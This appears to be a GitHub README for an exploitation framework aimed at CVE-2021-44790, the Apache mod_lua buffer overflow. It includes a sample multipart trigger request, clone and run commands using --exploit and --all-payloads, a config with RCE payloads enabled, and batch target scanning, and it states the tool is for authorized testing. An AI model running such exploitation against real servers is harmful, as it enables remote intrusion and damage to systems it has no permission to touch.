
Apache HTTP Server 2.4.x mod_lua Buffer Overflow (CVE-2021-44790) - Advanced exploitation framework with fingerprinting, multi-stage scanning, plugin architecture, professional reporting, screenshot capture, SQLite database, and 95%+ confidence detection. Author: Sudeepa Wanigarathna.
Apache mod_lua Buffer Overflow Exploitation is an advanced, enterprise-grade exploitation platform for CVE-2021-44790 - a critical buffer overflow vulnerability in the Apache HTTP Server 2.4.x mod_lua module. This framework provides comprehensive fingerprinting, intelligent script discovery, multi-stage scanning, and professional reporting capabilities with 95%+ confidence detection.
The vulnerability exists in the mod_lua module when processing multipart/form-data requests. An integer underflow in the lua_request_parsebody() function can lead to a heap-based buffer overflow, potentially allowing remote code execution.
POST /process.lua HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=4
4
Content-Disposition: form-data; name="name"
0
4
| Main Interface | Fingerprint Results |
|---|---|
![]() | ![]() |
# Clone the repository
git clone https://github.com/CerberusMrXi/Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790
cd Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790
# Install dependencies
pip install -r requirements.txt
# Verify installation
python3 exploit.py --version
# Quick vulnerability scan
python3 exploit.py http://target.com
# Verbose scan with exploitation
python3 exploit.py https://target.com --exploit --verbose
# Generate all reports
python3 exploit.py http://target.com --report all
# Research mode with database
python3 exploit.py http://target.com --research
python3 exploit.py [TARGET] [OPTIONS]
python3 exploit.py https://example.com --verbose --report all
python3 exploit.py https://internal-server.com \
--proxy http://proxy.corp.com:8080 \
--threads 10 \
--timeout 15 \
--verbose \
--report all \
--output /var/log/security/
python3 exploit.py https://client.com \
--threads 30 \
--timeout 10 \
--exploit \
--all-payloads \
--report all \
--screenshot \
--research \
--verbose \
--output /pentest/client_name/
python3 exploit.py --batch targets.txt --config config.yaml
# Show all vulnerable targets
python3 exploit.py --query "SELECT * FROM targets WHERE vulnerable=1"
# Get statistics
python3 exploit.py --query "SELECT COUNT(*) as total, SUM(vulnerable) as vulnerable FROM targets"
# ----------------------------------------------------------------------------
# LuaStorm Exploit Framework - Configuration File
# ----------------------------------------------------------------------------
# Scan Settings
threads: 20 # Concurrent threads
timeout: 10 # Request timeout in seconds
retries: 3 # Number of retry attempts
rate_limit: 10 # Requests per second
max_depth: 3 # Directory traversal depth
follow_redirects: true # Follow HTTP redirects
verify_ssl: false # Verify SSL certificates
# Network Settings
proxy: null # Proxy URL
http2: true # Enable HTTP/2 support
user_agent: random # User-Agent (random/specific)
save_packets: false # Save raw network packets
# Analysis Settings
research_mode: true # Enable research database
verbose: false # Verbose output
scan_only: false # Scan without exploitation
exploit: false # Enable exploitation
all_payloads: false # Use all payloads
# Payload Settings
payloads:
detection: true
memory: true
rce: true
dos: false
# Report Settings
report_json: true
report_html: true
report_markdown: true
report_pdf: false
screenshot: false
reports_dir: reports
# Database Settings
database_path: luastorm.db
database_retention: 365
# Directory Settings
logs_dir: logs
screenshots_dir: screenshots
{
"scan_id": "a1b2c3d4",
"target": {
"url": "https://example.com",
"hostname": "example.com",
"port": 443
},
"vulnerable": true,
"risk_level": "Critical",
"scan_duration": 45.23,
"timestamp": "2026-08-04T15:45:23"
}
-- Targets table
CREATE TABLE targets (
id INTEGER PRIMARY KEY,
scan_id TEXT UNIQUE,
url TEXT,
hostname TEXT,
ip TEXT,
port INTEGER,
protocol TEXT,
apache_version TEXT,
lua_version TEXT,
os TEXT,
architecture TEXT,
waf TEXT,
cdn TEXT,
vulnerable INTEGER,
risk_level TEXT,
scan_date TEXT,
duration REAL
);
-- Scripts table
CREATE TABLE scripts (
id INTEGER PRIMARY KEY,
scan_id TEXT,
path TEXT,
method TEXT,
status_code INTEGER,
content_type TEXT,
response_time REAL,
vulnerable INTEGER
);
-- Payloads table
CREATE TABLE payloads (
id INTEGER PRIMARY KEY,
scan_id TEXT,
script_id INTEGER,
payload_name TEXT,
payload_type TEXT,
success INTEGER,
response_time REAL,
indicators TEXT,
error TEXT
);
# plugins/my_plugin.py
class MyPlugin:
plugin_name = "my_plugin"
plugin_version = "1.0"
plugin_author = "Your Name"
def __init__(self, config):
self.config = config
def execute(self, target_info):
"""Execute plugin logic"""
return {
'status': 'success',
'message': 'Plugin executed',
'data': {'target': target_info.url}
}
THIS TOOL IS PROVIDED FOR EDUCATIONAL AND AUTHORIZED TESTING PURPOSES ONLY.
Unauthorized use against systems you do not own or have explicit permission to test
is illegal and unethical. The author assumes no responsibility for misuse, damage,
or legal consequences arising from the use of this tool.
By using this tool, you agree to:
1. Only test systems you own or have written permission to test
2. Comply with all applicable laws and regulations
3. Report findings responsibly
4. Not use this tool for malicious purposes
Contributions are welcome! Please follow these guidelines:
# Clone your fork
git clone https://github.com/CerberusMrXi/Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790
cd Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790
# Install development dependencies
pip install -r requirements-dev.txt
# Run tests
python -m pytest tests/
Sudeepa Wanigarathna
For Educational and Authorized Testing Purposes Only
This software is provided "as is", without warranty of any kind, express or implied.
⭐ Star this repository to support the project!
💡 Found a bug? Open an issue
📧 Contact: [email protected]
Built with ❤️ for the security community
| Feature | Description |
|---|
| 🔍 Advanced Fingerprinting | Apache version, mod_lua, OS, architecture, WAF, CDN, container, cloud provider detection |
| 🎯 Intelligent Discovery | 7+ discovery techniques including robots.txt, sitemap, HTML parsing, JavaScript extraction |
| 💥 Multi-Stage Scanning | Connection → Fingerprint → Discovery → Verification → Exploitation → Reporting |
| 🧩 Extensible Plugin System | Easy plugin development for future CVEs |
| 🌐 Smart HTTP Engine | Connection pooling, retries, HTTP/2 support, rate limiting |
| 📊 Comprehensive Reporting | JSON, HTML, Markdown, PDF with interactive dashboards |
| 🎨 Beautiful Terminal UI | Rich library with progress bars, tables, and color-coded output |
| 💾 Research Database | SQLite storage with complete scan history and query support |
| 📸 Screenshot Capture | Automatic webpage screenshots for evidence collection |
| 🚀 High Performance | 20+ concurrent threads, 100+ connection pools |
| Attribute | Value |
|---|
| CVE ID | CVE-2021-44790 |
| Vulnerability | Buffer Overflow (Integer Underflow) |
| Affected Software | Apache HTTP Server 2.4.0 through 2.4.51 |
| Fixed Version | Apache HTTP Server 2.4.52 and later |
| Component | mod_lua module |
| Attack Vector | Network (Remote) |
| CVSS Score | 9.8 (Critical) |
| Confidentiality Impact | High |
| Integrity Impact | High |
| Availability Impact | High |
| Exploit Maturity | Proof-of-Concept Available |
| Scan Progress | HTML Report Dashboard |
|---|
![]() | ![]() |
| Option | Description | Example |
|---|
TARGET | Target URL | http://target.com |
--config FILE | Configuration file | --config config.yaml |
--threads N | Number of threads | --threads 30 |
--timeout N | Request timeout (seconds) | --timeout 15 |
--proxy URL | Proxy URL | --proxy http://127.0.0.1:8080 |
--verbose | Verbose output | --verbose |
--scan-only | Scan without exploitation | --scan-only |
--exploit | Enable exploitation | --exploit |
--all-payloads | Use all payloads | --all-payloads |
--report FORMAT | Report format (json/html/markdown/all) | --report all |
--output DIR | Output directory | --output /path/to/reports/ |
--research | Enable research mode | --research |
--database FILE | Database path | --database luastorm.db |
--screenshot | Take screenshots | --screenshot |
--batch FILE | Batch file with targets | --batch targets.txt |
--query SQL | Execute database query | --query "SELECT * FROM targets" |
| Feature | Performance |
|---|
| Fingerprinting | < 2 seconds |
| Script Discovery | 5-10 seconds |
| Payload Testing | 1-5 seconds per payload |
| Report Generation | < 1 second |
| Database Operations | < 100ms |
| Concurrent Threads | 20+ |
| Connection Pool | 100+ |